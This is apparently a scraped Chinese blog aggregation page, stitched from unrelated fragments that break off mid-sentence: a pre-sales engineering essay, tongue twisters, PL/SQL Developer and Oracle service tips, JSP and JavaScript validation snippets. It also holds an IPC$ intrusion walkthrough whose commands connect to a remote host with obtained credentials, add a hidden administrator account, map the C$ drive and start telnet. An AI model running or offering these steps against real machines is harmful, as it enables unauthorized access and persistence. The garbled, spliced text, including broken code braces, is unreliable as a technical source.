【转载】网上搜集的关于(IT)售前的文章,现在鄙人在一家电子商务公司做售前,是日对职位存有困惑,固有此文。
售前工程师的来世今生
前言
现在IT公司都经历了原来的产品型到解决方案型,再到IT服务型企业过度的一种转变时期,记得在96年做IT销售的时候,鲜有售前工程师这个职务,大小事情都自己做主,
于是出现了一些非常不规范的事情,一个销售可以信口开河地承诺任何事情,包括产品性能、服务、价格等等。呵呵,其实呢,一个销售的目的就是卖产品,那管其他的,于是导致了销售的口碑不好,这个问题IBM销售江月讲的非常有意思,可以去看看他的文章:销售为什么爱'撒谎'
售前的来历
好象在1998年的时候,产品的选择范围也开始比较广泛,出现了货比三家的局面,用户也慢慢进步了,开始有了自己的需求,特别是产品与用户需求相脱节的时候,销售就开始不太好做了,有一天,我在IBM的网站上发现了一个词语:SOLUTION,方案,一下子就明白了一个道理,买产品已经过时了,只有对用户的需求做出反映才是真正的产品,这个时
题记:绕口令,也叫“急口令”“拗口令”。它是我国民间广为流传的一种语言游戏。绕口令把声,韵、调容易混同的字,组成反复、重叠、绕口的句子,要求一口气急速而准确地念出来。它的有趣之处就在于绕口。自古以来,劳动群众就喜爱创作和传说绕口令,不但内容丰富,数量众多,许多绕口令还编写得十分精巧,有的本身就是一首优美的诗歌,使人乐于颂读。
“绕口令”的最大特点是“拗口”。它是学习语言艺术(如相声、快板等等)的必修课。可以锻炼人“舌”,“唇”,“齿”的相互配合的技巧,被形象地称为“口腔体操”。练习绕口令最好从儿童时期开始,尤其是方言地区。
下面,三峡在线收集了网络中100个经典的绕口令,与大家分享。有些也很简单,有些的确如我所说的那样,是读到舌头抽筋也读不出来的绕口令,大家不妨试试。
1、初入江湖:化肥会挥发
2、小有名气:黑化肥发灰,灰化
(2011-07-19 17:08)
(1)如何保存登陆信息?
(a)在工具栏中的[Log on]下来按钮中选择[Configure...],然后将Definition选项卡中将[Store
history]和[Store with
password]两个多选框选中并保存。之后只要录入一次用户名/密码之后登陆信息就会被保存,下次登陆只需要选择一个username之后password就会自动带出,无需再次录入,方便多多。
(b)对于过时的登陆信息,可以通过[Log on]–》[Configure...]–》[Added users]将其删除。
(2)如何快速切换用户?
在工具栏中的[Log on]下来按钮中选择要切换的用户及数据库即可。
(3)如何快速查找某个数据库对象?
在PL/SQL Develper中有数据库对象的搜索功能,通过程序菜单 [Tools --》Find Database
Objects... ]即可打开数据库对象查找窗口。
(4)如何查看只属于当前登录用户的对象?
默认情况下,通过对象浏览器显示的是当前用户所有可以查看的对象,包括一些系统对象。如果只想显示当前用户自己的对象的话,可以将对象浏览器上方的选择框设置为“My
Objects”即可。
(5)
OracleDBConsoleorcl 这个是采用浏览器使用的oracle企业管理器
OracleOraDb10g_home1iSQL*Plus
是isql*plus的服务,要使用isqlplus,必须开启该服务,其它的服务见下面
如果只用cmd中的sqlplus管理oracle的话,必须的就一个OracleServiceORCL
要是还要其它的至少两个:OracleServiceORCL OracleOraDb10g_home1TNSListener
一个数据库服务器,一个监听器(等待客户端工具来连接数据库的程序)
(1)OracleServiceSID
数据库服务,这个服务会自动地启动和停止数据库。如果安装了一个数据库,它的缺省启动类型为自动。服务进程为ORACLE.EXE,参数文件initSID.ora,日志文件SIDALRT.log,控制台SVRMGRL.EXE、SQLPLUS.EXE。
(2)OracleHOME_NAMETNSListener
监听器服务,服务只有在数据库需要远程访问时才需要(无论是通过另外一台主机还是在本地通过 SQL*Net
网络协议都属于远程访问),不用这个服务就可以访问本地数据库,它的缺省启动类型为自动。服务进程为TNSLSNR.EX
JSP中request对象
Web是请求/响应架构的使用,浏览器发送请求时可能会将一些参数发送给服务器,服务器端负责解析请求参数就是JSP或者servlet,而servlet和jsp获得请求参数的途径就是request
request是HttpServletRequest接口的实例,它提供如下方法来获取请求参数:
1 object getAttribute(String name) 返回指定属性的属性值
(获取request方位的属性值)
2 Enumeration getAttributeNames()
返回所有可用属性名的枚举
3 String getCharacterEncoding() 返回字符编码方式
4 String getParameter(String name)
返回name指定参数的参数值 、
表单域所代表的请求参数是根据request的 getParameter() 方法获得的:
并不是每个表单域都会生成请求参数。而是由name属性的表单域才会生成请求参数;
关于表单域和请求参数的关系遵循以下四点:
1.每个有name属性的表单域对应一个请求参数
2.如果有多个表单域有相同的name属性,则多给表单域生成
JS的正则表达式//校验是否全由数字组成
function isDigit(s)
{
var patrn=/^[0-9]{1,20}$/;
if (!patrn.exec(s)) return false
return true
}
//校验登录名:只能输入5-20个以字母开头、可带数字、“_”、“.”的字串
function isRegisterUserName(s)
{
var patrn=/^[a-zA-Z]{1}([a-zA-Z0-9]|[._]){4,19}$/;
if (!patrn.exec(s)) return false
return true
}
//校验用户姓名:只能输入1-30个以字母开头的字串
function isTrueName(s)
{
var patrn=/^[a-zA-Z]{1,30}$/;
if (!patrn.exec(s)) return false
return true
}
}}
//校验密码:只能输入6-20个字母、数字、下划线
{{{
function isPasswd(s)
{
var patrn=/^(\w){6,20}$/;
if (!patrn.exec(s)) return false
return true
}
//校验普通电话、传真号码:可以“+”开头,除数字外,可含有“-”
function isTel(s)
{
//var patrn=/^[+]{0,1}(\d){1,3}[ ]?([-]?(\d){1,12})+$/;
var patrn=/^[+]{
1、NET
只要你拥有某IP的用户名和密码,那就用IPC$做连接吧!
这里我们假如你得到的用户是hbx,密码是123456。假设对方IP为127.0.0.1
net use \\127.0.0.1\ipc$ 123456 /user:hbx
退出的命令是
net use \\127.0.0.1\ipc$ /delte
下面的操作你必须登陆后才可以用,登陆的方法就在上面。
下面我们讲怎么创建一个用户,由于SA的权限相当于系统的超级用户。我们加一个heibai的用户密码为lovechina
net user heibai lovechina /add
只要显示命令成功,那么我们可以把他加入Administrator组了。
net localgroup Administrators heibai /add
这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了。我们这里把对方的C盘映射到本地的Z盘,
net use z:\\127.0.0.1\c$
net start telnet
这样可以打开对方的TELNE
转载
一 前言:
网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).
二 什么是ipc$
IPC$(Internet Process
Connection)是共享'命名管道'的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的
|
一、Jsp连接Oracle8/8i/9i数据库(用Thin模式)
Testoracle.Jsp如下:
<%@ Page ContentType='Text/Html;Charset=Gb2312'%>
<%@ Page Import='Java.Sql.*'%>
<Html>
<Body>
<%Class.ForName('Oracle.Jdbc.Driver.OracleDriver').NewInstance();
String Url='Jdbc:oracle:thin:@Localhost:1521:Orcl';
//Orcl为你的数据库的SID
String User='Scott';
String Password='Tiger';
Connection Conn=
DriverManager.GetConnection(Url,User,Password);
Statement
Stmt=Conn.CreateStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
Str
|